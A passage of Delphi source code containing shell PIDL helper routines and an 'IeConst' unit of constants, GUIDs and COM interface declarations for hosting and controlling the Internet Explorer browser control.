Result:= Pchar(@pidl.mkid.abID[StrRet.uOffset - SizeOf(pidl.mkid.cb)]);

STRRET_WSTR:

Result := StrRet.pOleStr;

end;

end;

procedure DisposePIDL(ID: PItemIDList);

var

Malloc: IMalloc;

begin

if ID = nil then Exit;

OLECheck(SHGetMalloc(Malloc));

Malloc.Free(ID);

end;

function CopyITEMID(Malloc: IMalloc; ID: PItemIDList): PItemIDList;

begin

Result := Malloc.Alloc(ID^.mkid.cb + SizeOf(ID^.mkid.cb));

CopyMemory(Result, ID, ID^.mkid.cb + SizeOf(ID^.mkid.cb));

end;

function NextPIDL(IDList: PItemIDList): PItemIDList;

begin

Result := IDList;

Inc(PChar(Result), IDList^.mkid.cb);

end;

function GetPIDLSize(IDList: PItemIDList): Integer;

begin

Result := 0;

if Assigned(IDList) then

begin

Result := SizeOf(IDList^.mkid.cb);

while IDList^.mkid.cb <> 0 do

begin

Result := Result + IDList^.mkid.cb;

IDList := NextPIDL(IDList);

end;

end;

end;

procedure StripLastID(IDList: PItemIDList);

var

MarkerID: PItemIDList;

begin

MarkerID := IDList;

if Assigned(IDList) then

begin

while IDList.mkid.cb <> 0 do

begin

MarkerID := IDList;

IDList := NextPIDL(IDList);

end;

MarkerID.mkid.cb := 0;

end;

end;

function CreatePIDL(Size: Integer): PItemIDList;

var

Malloc: IMalloc;

HR: HResult;

begin

Result := nil;

HR := SHGetMalloc(Malloc);

if Failed(HR) then

Exit;

try

Result := Malloc.Alloc(Size);

if Assigned(Result) then

FillChar(Result^, Size, 0);

finally

end;

end;

function CopyPIDL(IDList: PItemIDList): PItemIDList;

var

Size: Integer;

begin

Size := GetPIDLSize(IDList);

Result := CreatePIDL(Size);

if Assigned(Result) then

CopyMemory(Result, IDList, Size);

end;

function ConcatPIDLs(IDList1, IDList2: PItemIDList): PItemIDList;

var

cb1, cb2: Integer;

begin

if Assigned(IDList1) then

cb1 := GetPIDLSize(IDList1) - SizeOf(IDList1^.mkid.cb)

else

cb1 := 0;

cb2 := GetPIDLSize(IDList2);

Result := CreatePIDL(cb1 + cb2);

if Assigned(Result) then

begin

if Assigned(IDList1) then

CopyMemory(Result, IDList1, cb1);

CopyMemory(PChar(Result) + cb1, IDList2, cb2);

end;

end;

end.


另外一个IE工具单元

(*******************************

* IECONST 1.00 (July 27, 2000)*

*******************************)

unit IeConst;

interface

uses ShlObj, Activex, Windows;

const

IID_IDocHostUIHandler: TGUID = '{bd3f23c0-d43e-11cf-893b-00aa00bdce1a}';

IID_IDocHostUIHandler2: TGUID = '{3050f6d0-98b5-11cf-bb82-00aa00bdce0b}';

IID_IDocHostShowUI: TGUID = '{c4d244b0-d43e-11cf-893b-00aa00bdce1a}';

GUID_TriEditCommandGroup: TGUID = '{2582F1C0-084E-11d1-9A0E-006097C9B344}';

CMDSETID_Forms3: TGUID = '{DE4BA900-59CA-11CF-9592-444553540000}';

IID_IQueryInfo: TGUID = (D1: $00021500; D2: $0000; D3: $0000; D4: ($C0, $00, $00, $00, $00, $00, $00, $46));

MSOCMDF_SUPPORTED = OLECMDF_SUPPORTED;

MSOCMDF_ENABLED = OLECMDF_ENABLED;

MSOCMDEXECOPT_PROMPTUSER = OLECMDEXECOPT_PROMPTUSER;

MSOCMDEXECOPT_DONTPROMPTUSER = OLECMDEXECOPT_DONTPROMPTUSER;

InchToMetric = 25.4;

NO_COMMAND = 0;

VIEW_COMMAND = 1;

EXPLORE_COMMAND = 2;

FIND_COMMAND = 3;

ISDigit = ['0'..'9', '-', '+'];

CONTEXT_MENU_DEFAULT = 0;

CONTEXT_MENU_IMAGE = 1;

CONTEXT_MENU_CONTROL = 2;

CONTEXT_MENU_TABLE = 3;

// in browse mode

CONTEXT_MENU_TEXTSELECT = 4;

CONTEXT_MENU_ANCHOR = 5;

CONTEXT_MENU_UNKNOWN = 6;

// These 2 are mapped to IMAGE for the public")

CONTEXT_MENU_IMGDYNSRC = 7;

CONTEXT_MENU_IMGART = 8;

CONTEXT_MENU_DEBUG = 9;

CONTEXT_MENU_VSCROLL = 10;

CONTEXT_MENU_HSCROLL = 11;

DISPID_AMBIENT_DLCONTROL = (-5512);

DISPID_AMBIENT_USERAGENT = (-5513);

HTMLID_FIND = 1;

HTMLID_VIEWSOURCE = 2;

HTMLID_OPTIONS = 3;

DOCHOSTUITYPE_BROWSE = 0;

DOCHOSTUITYPE_AUTHOR = 1;

DOCHOSTUIDBLCLK_DEFAULT = 0;

DOCHOSTUIDBLCLK_SHOWPROPERTIES = 1;

DOCHOSTUIDBLCLK_SHOWCODE = 2;

DOCHOSTUIFLAG_DIALOG = $0001;

DOCHOSTUIFLAG_DISABLE_HELP_MENU = $0002;

DOCHOSTUIFLAG_NO3DBORDER = $0004;

DOCHOSTUIFLAG_SCROLL_NO = $0008;

DOCHOSTUIFLAG_DISABLE_SCRIPT_INACTIVE = $0010;

DOCHOSTUIFLAG_OPENNEWWIN = $0020;

DOCHOSTUIFLAG_DISABLE_OFFSCREEN = $0040;

DOCHOSTUIFLAG_FLAT_SCROLLBAR = $0080;

DOCHOSTUIFLAG_DIV_BLOCKDEFAULT = $0100;

DOCHOSTUIFLAG_ACTIVATE_CLIENTHIT_ONLY = $0200;

DOCHOSTUIFLAG_OVERRIDEBEHAVIORFACTORY = $0400;

DOCHOSTUIFLAG_CODEPAGELINKEDFONTS = $0800;

DOCHOSTUIFLAG_URL_ENCODING_DISABLE_UTF8 = $1000;

DOCHOSTUIFLAG_URL_ENCODING_ENABLE_UTF8 = $2000;

DOCHOSTUIFLAG_ENABLE_FORMS_AUTOCOMPLETE = $4000;

DOCHOSTUIFLAG_ENABLE_INPLACE_NAVIGATION = $10000;

DOCHOSTUIFLAG_IME_ENABLE_RECONVERSION = $20000;

IDM_UNKNOWN = 0;

IDM_ALIGNBOTTOM = 1;

IDM_ALIGNHORIZONTALCENTERS = 2;

IDM_ALIGNLEFT = 3;

IDM_ALIGNRIGHT = 4;

IDM_ALIGNTOGRID = 5;

IDM_ALIGNTOP = 6;

IDM_ALIGNVERTICALCENTERS = 7;

IDM_ARRANGEBOTTOM = 8;

IDM_ARRANGERIGHT = 9;

IDM_BRINGFORWARD = 10;

IDM_BRINGTOFRONT = 11;

IDM_CENTERHORIZONTALLY = 12;

IDM_CENTERVERTICALLY = 13;

IDM_CODE = 14;

IDM_DELETE = 17;

IDM_FONTNAME = 18;

IDM_FONTSIZE = 19;

IDM_GROUP = 20;

IDM_HORIZSPACECONCATENATE = 21;

IDM_HORIZSPACEDECREASE = 22;

IDM_HORIZSPACEINCREASE = 23;

IDM_HORIZSPACEMAKEEQUAL = 24;

IDM_INSERTOBJECT = 25;

IDM_MULTILEVELREDO = 30;

IDM_SENDBACKWARD = 32;

IDM_SENDTOBACK = 33;

IDM_SHOWTABLE = 34;

IDM_SIZETOCONTROL = 35;

IDM_SIZETOCONTROLHEIGHT = 36;

IDM_SIZETOCONTROLWIDTH = 37;

IDM_SIZETOFIT = 38;

IDM_SIZETOGRID = 39;

IDM_SNAPTOGRID = 40;

IDM_TABORDER = 41;

IDM_TOOLBOX = 42;

IDM_MULTILEVELUNDO = 44;

IDM_UNGROUP = 45;

IDM_VERTSPACECONCATENATE = 46;

IDM_VERTSPACEDECREASE = 47;

IDM_VERTSPACEINCREASE = 48;

IDM_VERTSPACEMAKEEQUAL = 49;

IDM_JUSTIFYFULL = 50;

IDM_BACKCOLOR = 51;

IDM_BOLD = 52;

IDM_BORDERCOLOR = 53;

IDM_FLAT = 54;

IDM_FORECOLOR = 55;

IDM_ITALIC = 56;

IDM_JUSTIFYCENTER = 57;

IDM_JUSTIFYGENERAL = 58;

IDM_JUSTIFYLEFT = 59;

IDM_JUSTIFYRIGHT = 60;

IDM_RAISED = 61;

IDM_SUNKEN = 62;

IDM_UNDERLINE = 63;

IDM_CHISELED = 64;

IDM_ETCHED = 65;

IDM_SHADOWED = 66;

IDM_FIND = 67;

IDM_SHOWGRID = 69;

IDM_OBJECTVERBLIST0 = 72;

IDM_OBJECTVERBLIST1 = 73;

IDM_OBJECTVERBLIST2 = 74;

IDM_OBJECTVERBLIST3 = 75;

IDM_OBJECTVERBLIST4 = 76;

IDM_OBJECTVERBLIST5 = 77;

IDM_OBJECTVERBLIST6 = 78;

IDM_OBJECTVERBLIST7 = 79;

IDM_OBJECTVERBLIST8 = 80;

IDM_OBJECTVERBLIST9 = 81;

IDM_CONVERTOBJECT = 82;

IDM_CUSTOMCONTROL = 83;

IDM_CUSTOMIZEITEM = 84;

IDM_RENAME = 85;

IDM_IMPORT = 86;

IDM_NEWPAGE = 87;

IDM_MOVE = 88;

IDM_CANCEL = 89;

IDM_FONT = 90;

IDM_STRIKETHROUGH = 91;

IDM_DELETEWORD = 92;

IDM_FOLLOW_ANCHOR = 2008;

IDM_INSINPUTIMAGE = 2114;

IDM_INSINPUTBUTTON = 2115;

IDM_INSINPUTRESET = 2116;

IDM_INSINPUTSUBMIT = 2117;

IDM_INSINPUTUPLOAD = 2118;

IDM_INSFIELDSET = 2119;

IDM_PASTEINSERT = 2120;

IDM_REPLACE = 2121;

IDM_EDITSOURCE = 2122;

IDM_BOOKMARK = 2123;

IDM_HYPERLINK = 2124;

IDM_UNLINK = 2125;

IDM_BROWSEMODE = 2126;

IDM_EDITMODE = 2127;

IDM_UNBOOKMARK = 2128;

IDM_TOOLBARS = 2130;

IDM_STATUSBAR = 2131;

IDM_FORMATMARK = 2132;

IDM_TEXTONLY = 2133;

IDM_OPTIONS = 2135;

IDM_FOLLOWLINKC = 2136;

IDM_FOLLOWLINKN = 2137;

IDM_VIEWSOURCE = 2139;

IDM_ZOOMPOPUP = 2140;

// IDM_BASELINEFONT1, IDM_BASELINEFONT2, IDM_BASELINEFONT3, IDM_BASELINEFONT4,

// and IDM_BASELINEFONT5 should be consecutive integers;

//

IDM_BASELINEFONT1 = 2141;

IDM_BASELINEFONT2 = 2142;

IDM_BASELINEFONT3 = 2143;

IDM_BASELINEFONT4 = 2144;

IDM_BASELINEFONT5 = 2145;

IDM_HORIZONTALLINE = 2150;

IDM_LINEBREAKNORMAL = 2151;

IDM_LINEBREAKLEFT = 2152;

IDM_LINEBREAKRIGHT = 2153;

IDM_LINEBREAKBOTH = 2154;

IDM_NONBREAK = 2155;

IDM_SPECIALCHAR = 2156;

IDM_HTMLSOURCE = 2157;

IDM_IFRAME = 2158;

IDM_HTMLCONTAIN = 2159;

IDM_TEXTBOX = 2161;

IDM_TEXTAREA = 2162;

IDM_CHECKBOX = 2163;

IDM_RADIOBUTTON = 2164;

IDM_DROPDOWNBOX = 2165;

IDM_LISTBOX = 2166;

IDM_BUTTON = 2167;

IDM_IMAGE = 2168;

IDM_OBJECT = 2169;

IDM_1D = 2170;

IDM_IMAGEMAP = 2171;

IDM_FILE = 2172;

IDM_COMMENT = 2173;

IDM_SCRIPT = 2174;

IDM_JAVAAPPLET = 2175;

IDM_PLUGIN = 2176;

IDM_PAGEBREAK = 2177;

IDM_PARAGRAPH = 2180;

IDM_FORM = 2181;

IDM_MARQUEE = 2182;

IDM_LIST = 2183;

IDM_ORDERLIST = 2184;

IDM_UNORDERLIST = 2185;

IDM_INDENT = 2186;

IDM_OUTDENT = 2187;

IDM_PREFORMATTED = 2188;

IDM_ADDRESS = 2189;

IDM_BLINK = 2190;

IDM_DIV = 2191;

IDM_TABLEINSERT = 2200;

IDM_RCINSERT = 2201;

IDM_CELLINSERT = 2202;

IDM_CAPTIONINSERT = 2203;

IDM_CELLMERGE = 2204;

IDM_CELLSPLIT = 2205;

IDM_CELLSELECT = 2206;

IDM_ROWSELECT = 2207;

IDM_COLUMNSELECT = 2208;

IDM_TABLESELECT = 2209;

IDM_TABLEPROPERTIES = 2210;

IDM_CELLPROPERTIES = 2211;

IDM_ROWINSERT = 2212;

IDM_COLUMNINSERT = 2213;

IDM_HELP_CONTENT = 2220;

IDM_HELP_ABOUT = 2221;

IDM_HELP_README = 2222;

IDM_REMOVEFORMAT = 2230;

IDM_PAGEINFO = 2231;

IDM_TELETYPE = 2232;

IDM_GETBLOCKFMTS = 2233;

IDM_BLOCKFMT = 2234;

IDM_SHOWHIDE_CODE = 2235;

IDM_TABLE = 2236;

IDM_COPYFORMAT = 2237;

IDM_PASTEFORMAT = 2238;

IDM_GOTO = 2239;

IDM_CHANGEFONT = 2240;

IDM_CHANGEFONTSIZE = 2241;

IDM_INCFONTSIZE = 2242;

IDM_DECFONTSIZE = 2243;

IDM_INCFONTSIZE1PT = 2244;

IDM_DECFONTSIZE1PT = 2245;

IDM_CHANGECASE = 2246;

IDM_SUBSCRIPT = 2247;

IDM_SUPERSCRIPT = 2248;

IDM_SHOWSPECIALCHAR = 2249;

IDM_CENTERALIGNPARA = 2250;

IDM_LEFTALIGNPARA = 2251;

IDM_RIGHTALIGNPARA = 2252;

IDM_REMOVEPARAFORMAT = 2253;

IDM_APPLYNORMAL = 2254;

IDM_APPLYHEADING1 = 2255;

IDM_APPLYHEADING2 = 2256;

IDM_APPLYHEADING3 = 2257;

IDM_DOCPROPERTIES = 2260;

IDM_ADDFAVORITES = 2261;

IDM_COPYSHORTCUT = 2262;

IDM_SAVEBACKGROUND = 2263;

IDM_SETWALLPAPER = 2264;

IDM_COPYBACKGROUND = 2265;

IDM_CREATESHORTCUT = 2266;

IDM_PAGE = 2267;

IDM_SAVETARGET = 2268;

IDM_SHOWPICTURE = 2269;

IDM_SAVEPICTURE = 2270;

IDM_DYNSRCPLAY = 2271;

IDM_DYNSRCSTOP = 2272;

IDM_PRINTTARGET = 2273;

IDM_IMGARTPLAY = 2274;

IDM_IMGARTSTOP = 2275;

IDM_IMGARTREWIND = 2276;

IDM_PRINTQUERYJOBSPENDING = 2277;

IDM_CONTEXTMENU = 2280;

IDM_GOBACKWARD = 2282;

IDM_GOFORWARD = 2283;

IDM_PRESTOP = 2284;

IDM_CREATELINK = 2290;

IDM_COPYCONTENT = 2291;

IDM_LANGUAGE = 2292;

IDM_REFRESH = 2300;

IDM_STOPDOWNLOAD = 2301;

IDM_ENABLE_INTERACTION = 2302;

IDM_LAUNCHDEBUGGER = 2310;

IDM_BREAKATNEXT = 2311;

IDM_INSINPUTHIDDEN = 2312;

IDM_INSINPUTPASSWORD = 2313;

IDM_OVERWRITE = 2314;

IDM_PARSECOMPLETE = 2315;

IDM_HTMLEDITMODE = 2316;

IDM_REGISTRYREFRESH = 2317;

IDM_COMPOSESETTINGS = 2318;

IDM_SHOWALLTAGS = 2320;

IDM_SHOWALIGNEDSITETAGS = 2321;

IDM_SHOWSCRIPTTAGS = 2322;

IDM_SHOWSTYLETAGS = 2323;

IDM_SHOWCOMMENTTAGS = 2324;

IDM_SHOWAREATAGS = 2325;

IDM_SHOWUNKNOWNTAGS = 2326;

IDM_SHOWMISCTAGS = 2327;

IDM_SHOWZEROBORDERATDESIGNTIME = 2328;

IDM_AUTODETECT = 2329;

IDM_SCRIPTDEBUGGER = 2330;

IDM_GETBYTESDOWNLOADED = 2331;

IDM_NOACTIVATENORMALOLECONTROLS = 2332;

IDM_NOACTIVATEDESIGNTIMECONTROLS = 2333;

IDM_NOACTIVATEJAVAAPPLETS = 2334;

IDM_SHOWWBRTAGS = 2340;

IDM_PERSISTSTREAMSYNC = 2341;

IDM_SETDIRTY = 2342;

IDM_MIMECSET__FIRST__ = 3609;

IDM_MIMECSET__LAST__ = 3640;

IDM_MENUEXT_FIRST__ = 3700;

IDM_MENUEXT_LAST__ = 3732;

IDM_MENUEXT_COUNT = 3733;

ID_EDITMODE = 32801;

IDM_OPEN = 2000;

IDM_NEW = 2001;

IDM_SAVE = 70;

IDM_SAVEAS = 71;

IDM_SAVECOPYAS = 2002;

IDM_PRINTPREVIEW = 2003;

IDM_PRINT = 27;

IDM_PAGESETUP = 2004;

IDM_SPELL = 2005;

IDM_PASTESPECIAL = 2006;

IDM_CLEARSELECTION = 2007;

IDM_PROPERTIES = 28;

IDM_REDO = 29;

IDM_UNDO = 43;

IDM_SELECTALL = 31;

IDM_ZOOMPERCENT = 50;

IDM_GETZOOM = 68;

IDM_STOP = 2138;

IDM_COPY = 15;

IDM_CUT = 16;

IDM_PASTE = 26;

IDM_TRIED_IS_1D_ELEMENT = 0; //[out,VT_BOOL]

IDM_TRIED_IS_2D_ELEMENT = 1; //[out,VT_BOOL]

IDM_TRIED_NUDGE_ELEMENT = 2; //[in,VT_BYREF VARIANT.byref=LPPOINT]

IDM_TRIED_SET_ALIGNMENT = 3; //[in,VT_BYREF VARIANT.byref=LPPOINT]

IDM_TRIED_MAKE_ABSOLUTE = 4;

IDM_TRIED_LOCK_ELEMENT = 5;

IDM_TRIED_SEND_TO_BACK = 6;

IDM_TRIED_SEND_TO_FRONT = 7;

IDM_TRIED_SEND_BACKWARD = 8;

IDM_TRIED_SEND_FORWARD = 9;

IDM_TRIED_SEND_BEHIND_1D = 10;

IDM_TRIED_SEND_FRONT_1D = 11;

IDM_TRIED_CONSTRAIN = 12; //[in,VT_BOOL]

IDM_TRIED_SET_2D_DROP_MODE = 13; //[in,VT_BOOL]

IDM_TRIED_INSERTROW = 14;

IDM_TRIED_INSERTCOL = 15;

IDM_TRIED_DELETEROWS = 16;

IDM_TRIED_DELETECOLS = 17;

IDM_TRIED_MERGECELLS = 18;

IDM_TRIED_SPLITCELL = 19;

IDM_TRIED_INSERTCELL = 20;

IDM_TRIED_DELETECELLS = 21;

IDM_TRIED_INSERTTABLE = 22; //[in, VT_ARRAY]

//WARNING WARNING WARNING!!! Don't forget to modify IDM_TRIED_LAST_CID

//when you add new Command IDs

IDM_TRIED_LAST_CID = IDM_TRIED_INSERTTABLE;

CLSID_WebBrowser: TGUID = '{ED016940-BD5B-11cf-BA4E-00C04FD70816}';

type

PDOCHOSTUIINFO = ^TDOCHOSTUIINFO;

TDOCHOSTUIINFO = record

cbSize: ULONG;

dwFlags: DWORD;

dwDoubleClick: DWORD;

chHostCss: POLESTR;

chHostNS: POLESTR;

end;

IDocHostShowUI = interface(IUnknown)

['{c4d244b0-d43e-11cf-893b-00aa00bdce1a}']

function ShowMessage(hwnd: THandle; lpstrText: POLESTR; lpstrCaption: POLESTR;

dwType: longint; lpstrHelpFile: POLESTR; dwHelpContext: longint;

var plResult: LRESULT): HRESULT; stdcall;

function ShowHelp(hwnd: THandle; pszHelpFile: POLESTR; uCommand: integer;

dwData: longint; ptMouse: TPoint;

var pDispatchObjectHit: IDispatch): HRESULT; stdcall;

end; // IDocHostShowUI

IDocHostUIHandler = interface(IUnknown)

['{bd3f23c0-d43e-11cf-893b-00aa00bdce1a}']

function ShowContextMenu(const dwID: DWORD; const ppt: PPOINT;

const pcmdtReserved: IUnknown; const pdispReserved: IDispatch): HRESULT; stdcall;

function GetHostInfo(var pInfo: TDOCHOSTUIINFO): HRESULT; stdcall;

function ShowUI(const dwID: DWORD; const pActiveObject: IOleInPlaceActiveObject;

const pCommandTarget: IOleCommandTarget; const pFrame: IOleInPlaceFrame;

const pDoc: IOleInPlaceUIWindow): HRESULT; stdcall;

function HideUI: HRESULT; stdcall;

function UpdateUI: HRESULT; stdcall;

function EnableModeless(const fEnable: BOOL): HRESULT; stdcall;

function OnDocWindowActivate(const fActivate: BOOL): HRESULT; stdcall;

function OnFrameWindowActivate(const fActivate: BOOL): HRESULT; stdcall;

function ResizeBorder(const prcBorder: PRECT;

const pUIWindow: IOleInPlaceUIWindow;

const fRameWindow: BOOL): HRESULT; stdcall;

function TranslateAccelerator(const lpMsg: PMSG; const pguidCmdGroup: PGUID;

const nCmdID: DWORD): HRESULT; stdcall;

function GetOptionKeyPath(var pchKey: POLESTR; const dw: DWORD): HRESULT; stdcall;

function GetDropTarget(const pDropTarget: IDropTarget;

out ppDropTarget: IDropTarget): HRESULT; stdcall;

function GetExternal(out ppDispatch: IDispatch): HRESULT; stdcall;

function TranslateUrl(const dwTranslate: DWORD; const pchURLIn: POLESTR;

var ppchURLOut: POLESTR): HRESULT; stdcall;

function FilterDataObject(const pDO: IDataObject;

out ppDORet: IDataObject): HRESULT; stdcall;

end; // IDocHostUIHandler

IDocHostUIHandler2 = interface(IUnknown)

['{3050f6d0-98b5-11cf-bb82-00aa00bdce0b}']

function GetOverrideKeyPath(pchKey: POLESTR; dw: DWORD): HRESULT; stdcall;

end;

const

IID_IUniformResourceLocatorA: TGUID = (

D1:$FBF23B80; D2:$E3F0; D3:$101B; D4:($84,$88,$00,$AA,$00,$3E,$56,$F8));

IID_IUniformResourceLocatorW: TGUID = (

D1:$CABB0DA0; D2:$DA57; D3:$11CF; D4:($99,$74,$00,$20,$AF,$D7,$97,$62));

{$IFDEF UNICODE}

IID_IUniformResourceLocator: TGUID = (

D1:$CABB0DA0; D2:$DA57; D3:$11CF; D4:($99,$74,$00,$20,$AF,$D7,$97,$62));

{$ELSE}

IID_IUniformResourceLocator : TGUID = (

D1:$FBF23B80; D2:$E3F0; D3:$101B; D4:($84,$88,$00,$AA,$00,$3E,$56,$F8));

{$ENDIF}

const

CLSID_InternetShortCut : TGUID = (

d1:$FBF23B40; D2:$E3F0; D3:$101B; D4:($84,$88,$00,$AA,$00,$3E,$56,$F8));

SID_IUniformResourceLocatorA = '{FBF23B80-E3F0-101B-8488-00AA003E56F8}';

SID_IUniformResourceLocatorW = '{CABB0DA0-DA57-11CF-9974-0020AFD79762}';

{$IFDEF UNICODE}

SID_IUniformResourceLocator = SID_IUniformResourceLocatorW;

{$ELSE}

SID_IUniformResourceLocator = SID_IUniformResourceLocatorA;

{$ENDIF}

IURL_SETURL_FL_GUESS_PROTOCOL = $0001; // Guess protocol if missing

IURL_SETURL_FL_USE_DEFAULT_PROTOCOL = $0002; // Use default protocol if missing

IURL_INVOKECOMMAND_FL_ALLOW_UI = $0001;

IURL_INVOKECOMMAND_FL_USE_DEFAULT_VERB = $0002; // Ignore pcszVerb

IURL_INVOKECOMMAND_FL_DDEWAIT = $0004; // pass DDEWAIT to ShellExec

TRANSLATEURL_FL_GUESS_PROTOCOL = $0001; // Guess protocol if missing

TRANSLATEURL_FL_USE_DEFAULT_PROTOCOL = $0002; // Use default protocol if missing

URLASSOCDLG_FL_USE_DEFAULT_NAME = $0001;

URLASSOCDLG_FL_REGISTER_ASSOC = $0002;

MIMEASSOCDLG_FL_REGISTER_ASSOC = $0001;

type

PUrlInvokeCommandInfoA = ^TUrlInvokeCommandInfoA;

TUrlInvokeCommandInfoA = record

dwcbSize : DWORD; // Size of structure

dwFlags : DWORD; // Bit field of IURL_INVOKECOMMAND_FLAGS

hwndParent : HWND; // Parent window. Valid only if IURL_INVOKECOMMAND_FL_ALLOW_UI is set.

pcszVerb : LPCSTR; // Verb to invoke. Ignored if IURL_INVOKECOMMAND_FL_USE_DEFAULT_VERB is set.

end;

PUrlInvokeCommandInfoW = ^TUrlInvokeCommandInfoW;

TUrlInvokeCommandInfoW = record

dwcbSize : DWORD; // Size of structure

dwFlags : DWORD; // Bit field of IURL_INVOKECOMMAND_FLAGS

hwndParent : HWND; // Parent window. Valid only if IURL_INVOKECOMMAND_FL_ALLOW_UI is set.

pcszVerb : LPCWSTR; // Verb to invoke. Ignored if IURL_INVOKECOMMAND_FL_USE_DEFAULT_VERB is set.

end;

{$IFDEF UNICODE}

PURLInvokeCommandInfo = ^TUrlInvokeCommandInfoW;

TUrlInvokeCommandInfo = TUrlInvokeCOmmandInfoW;

{$ELSE}

PURLInvokeCommandInfo = ^TUrlInvokeCommandInfoA;

TUrlInvokeCommandInfo = TUrlInvokeCOmmandInfoA;

{$ENDIF}

IUniformResourceLocatorA = interface(IUnknown)

[SID_IUniformResourceLocatorA]

function SetURL(pcszURL : LpcStr; dwInFlags: DWORD): HRESULT; stdcall;

function GetURL(ppszURL : LpStr): HRESULT; stdcall;

function InvokeCommand(purlici : PURLINVOKECOMMANDINFOA): HRESULT; stdcall;

end;

IUniformResourceLocatorW = interface(IUnknown)

[SID_IUniformResourceLocatorW]

function SetURL(pcszURL : LpcWStr; dwInFlags: DWORD): HRESULT; stdcall;

function GetURL(ppszURL : LpWStr): HRESULT; stdcall;

function InvokeCommand(purlici : PURLINVOKECOMMANDINFOW): HRESULT; stdcall;

end;

{$IFDEF UNICODE}

IUniformResourceLocator = IUniformResourceLocatorW;

{$ELSE}

IUniformResourceLocator = IUniformResourceLocatorA;

{$ENDIF}

function TranslateURLA(pcszURL : LPCSTR;

dwInFlags : DWORD;

ppszTranslatedURL : LPSTR) : HRESULT; stdcall;

function TranslateURLW(pcszURL : LPCWSTR;

dwInFlags : DWORD;

ppszTranslatedURL : LPWSTR) : HRESULT; stdcall;

{$IFDEF UNICODE}

function TranslateURL(pcszURL : LPCWSTR;

dwInFlags : DWORD;

ppszTranslatedURL : LPWSTR) : HRESULT; stdcall;

{$ELSE}

function TranslateURL(pcszURL : LPCSTR;

dwInFlags : DWORD;

ppszTranslatedURL : LPSTR) : HRESULT; stdcall;

{$ENDIF}

function URLAssociationDialogA(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCSTR;

pcszURL : LPCSTR;

pszAppBuf : LPSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

function URLAssociationDialogW(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCWSTR;

pcszURL : LPCWSTR;

pszAppBuf : LPWSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$IFDEF UNICODE}

function URLAssociationDialog(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCWSTR;

pcszURL : LPCWSTR;

pszAppBuf : LPWSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$ELSE}

function URLAssociationDialog(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCSTR;

pcszURL : LPCSTR;

pszAppBuf : LPSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$ENDIF}

function MIMEAssociationDialogA(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCSTR;

pcszMIMEContentType : LPCSTR;

pszAppBuf : LPSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

function MIMEAssociationDialogW(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCWSTR;

pcszMIMEContentType : LPCWSTR;

pszAppBuf : LPWSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$IFDEF UNICODE}

function MIMEAssociationDialog(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCWSTR;

pcszMIMEContentType : LPCWSTR;

pszAppBuf : LPWSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$ELSE}

function MIMEAssociationDialog(hwndParent : HWND;

dwInFlags : DWORD;

pcszFile : LPCSTR;

pcszMIMEContentType : LPCSTR;

pszAppBuf : LPSTR;

ucAppBufLen : UINT) : HRESULT; stdcall;

{$ENDIF}

function InetIsOffline(dwFlags: DWORD): BOOL; stdcall;

{$IFDEF VER120}

const

IID_IInternetSession: TGUID = '{79eac9e7-baf9-11ce-8c82-00aa004ba90b}';

IID_IInternetSecurityMgrSite: TGUID = '{79eac9ed-baf9-11ce-8c82-00aa004ba90b}';

IID_IInternetSecurityManager: TGUID = '{79eac9ee-baf9-11ce-8c82-00aa004ba90b}';

IID_IInternetHostSecurityManager: TGUID = '{3af280b6-cb3f-11d0-891e-00c04fb6bfc4}';

SID_IInternetSecurityManager: TGUID = '{79eac9ee-baf9-11ce-8c82-00aa004ba90b}';

SID_IInternetHostSecurityManager: TGUID = '{3af280b6-cb3f-11d0-891e-00c04fb6bfc4}';

IID_IInternetZoneManager: TGUID = '{79eac9ef-baf9-11ce-8c82-00aa004ba90b}';

type

TUrlZoneReg = ULONG;

PBindInfo = ^TBindInfo;

_tagBINDINFO = packed record

cbSize: ULONG;

szExtraInfo: LPWSTR;

stgmedData: TStgMedium;

grfBindInfoF: DWORD;

dwBindVerb: DWORD;

szCustomVerb: LPWSTR;

cbstgmedData: DWORD;

dwOptions: DWORD;

dwOptionsFlags: DWORD;

dwCodePage: DWORD;

securityAttributes: TSecurityAttributes;

iid: TGUID;

pUnk: IUnknown;

dwReserved: DWORD;

end;

TBindInfo = _tagBINDINFO;

BINDINFO = _tagBINDINFO;

{$NODEFINE POLEStrArray}

POLEStrArray = ^TOLESTRArray;

{$NODEFINE TOLEStrArray}

TOLEStrArray = array[0..MaxLongint div SizeOf(POLEStr) - 1] of POLEStr;

{$EXTERNALSYM IInternetBindInfo}

IInternetBindInfo = interface

['{79eac9e1-baf9-11ce-8c82-00aa004ba90b}']

function GetBindInfo(out grfBINDF: DWORD; var bindinfo: TBindInfo): HResult; stdcall;

function GetBindString(ulStringType: ULONG; wzStr: POLEStrArray; cEl: ULONG;

var cElFetched: ULONG): HResult; stdcall;

end;

PProtocolData = ^TProtocolData;

{$EXTERNALSYM _tagPROTOCOLDATA}

_tagPROTOCOLDATA = packed record

grfFlags: DWORD;

dwState: DWORD;

pData: Pointer;

cbData: ULONG;

end;

TProtocolData = _tagPROTOCOLDATA;

{$EXTERNALSYM _tagPROTOCOLDATA}

PROTOCOLDATA = _tagPROTOCOLDATA;

{$EXTERNALSYM IInternetProtocolSink}

IInternetProtocolSink = interface; // forward

{$EXTERNALSYM IInternetProtocolRoot}

IInternetProtocolRoot = interface

['{79eac9e3-baf9-11ce-8c82-00aa004ba90b}']

function Start(szUrl: LPCWSTR; OIProtSink: IInternetProtocolSink;

OIBindInfo: IInternetBindInfo; grfPI, dwReserved: DWORD): HResult; stdcall;

function Continue(const ProtocolData: TProtocolData): HResult; stdcall;

function Abort(hrReason: HResult; dwOptions: DWORD): HResult; stdcall;

function Terminate(dwOptions: DWORD): HResult; stdcall;

function Suspend: HResult; stdcall;

function Resume: HResult; stdcall;

end;

{$EXTERNALSYM IInternetProtocol}

IInternetProtocol = interface(IInternetProtocolRoot)

